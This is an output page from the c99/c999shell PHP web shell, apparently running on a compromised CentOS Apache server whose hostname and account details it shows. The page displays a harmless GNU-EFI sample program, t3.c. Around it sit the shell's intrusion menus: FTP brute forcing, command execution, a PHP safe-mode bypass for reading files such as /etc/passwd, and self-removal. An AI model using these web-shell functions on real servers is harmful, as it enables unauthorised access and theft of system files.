!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/gnu-efi-3.0c/apps/   drwxr-xr-x
Free 51.95 GB of 127.8 GB (40.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     t3.c (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <efi.h>
#include <efilib.h>

EFI_STATUS
efi_main(
    EFI_HANDLE image_handle,
    EFI_SYSTEM_TABLE *systab
)
{
    EFI_GUID loaded_image_protocol = LOADED_IMAGE_PROTOCOL;
    EFI_STATUS efi_status;
    EFI_LOADED_IMAGE *li;
    UINTN pat = PoolAllocationType;
    VOID *void_li_p;

    InitializeLib(image_handle, systab);
    PoolAllocationType = 2; /* klooj */

    Print(L"Hello World! (0xd=0x%x, 13=%d)\n", 13, 13);

    Print(L"before InitializeLib(): PoolAllocationType=%d\n",
        pat);

    Print(L" after InitializeLib(): PoolAllocationType=%d\n",
        PoolAllocationType);

    /*
     * Locate loaded_image_handle instance.
     */

    Print(L"BS->HandleProtocol()  ");

    efi_status = BS->HandleProtocol(
        image_handle,
        &loaded_image_protocol,
        &void_li_p);
    li = void_li_p;

    Print(L"%xh (%r)\n", efi_status, efi_status);

    if (efi_status != EFI_SUCCESS) {
        return efi_status;
    }

    Print(L"  li: %xh\n", li);

    if (!li) {
        return EFI_UNSUPPORTED;
    }

    Print(L"  li->Revision:        %xh\n", li->Revision);
    Print(L"  li->ParentHandle:    %xh\n", li->ParentHandle);
    Print(L"  li->SystemTable:     %xh\n", li->SystemTable);
    Print(L"  li->DeviceHandle:    %xh\n", li->DeviceHandle);
    Print(L"  li->FilePath:        %xh\n", li->FilePath);
    Print(L"  li->Reserved:        %xh\n", li->Reserved);
    Print(L"  li->LoadOptionsSize: %xh\n", li->LoadOptionsSize);
    Print(L"  li->LoadOptions:     %xh\n", li->LoadOptions);
    Print(L"  li->ImageBase:       %xh\n", li->ImageBase);
    Print(L"  li->ImageSize:       %xh\n", li->ImageSize);
    Print(L"  li->ImageCodeType:   %xh\n", li->ImageCodeType);
    Print(L"  li->ImageDataType:   %xh\n", li->ImageDataType);
    Print(L"  li->Unload:          %xh\n", li->Unload);

#if 0
typedef struct {
    UINT32                          Revision;
    EFI_HANDLE                      ParentHandle;
    struct _EFI_SYSTEM_TABLE        *SystemTable;

    // Source location of image
    EFI_HANDLE                      DeviceHandle;
    EFI_DEVICE_PATH                 *FilePath;
    VOID                            *Reserved;

    // Images load options
    UINT32                          LoadOptionsSize;
    VOID                            *LoadOptions;

    // Location of where image was loaded
    VOID                            *ImageBase;
    UINT64                          ImageSize;
    EFI_MEMORY_TYPE                 ImageCodeType;
    EFI_MEMORY_TYPE                 ImageDataType;

    // If the driver image supports a dynamic unload request
    EFI_IMAGE_UNLOAD                Unload;

} EFI_LOADED_IMAGE;
#endif

    return EFI_SUCCESS;
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--